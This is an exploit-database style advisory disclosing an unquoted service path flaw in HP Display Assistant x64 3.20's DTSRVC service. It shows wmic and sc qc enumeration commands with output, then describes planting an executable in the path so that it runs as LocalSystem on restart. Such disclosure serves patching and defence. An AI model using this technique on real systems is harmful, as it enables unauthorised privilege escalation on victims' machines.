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HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path


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# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.portrait.com/
# Software Link: https://www.portrait.com/dtune/hwp/enu/
# Software Version: 3.20
# File Version:
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname

DisplayName                             Name    PathName                                                                 StartMode  StartName
Portrait Displays Display Tune Service  DTSRVC  C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "DTSRVC"
[SC] QueryServiceConfig CORRECTO

        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Portrait Displays Display Tune Service
        DEPENDENCIAS       :

# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
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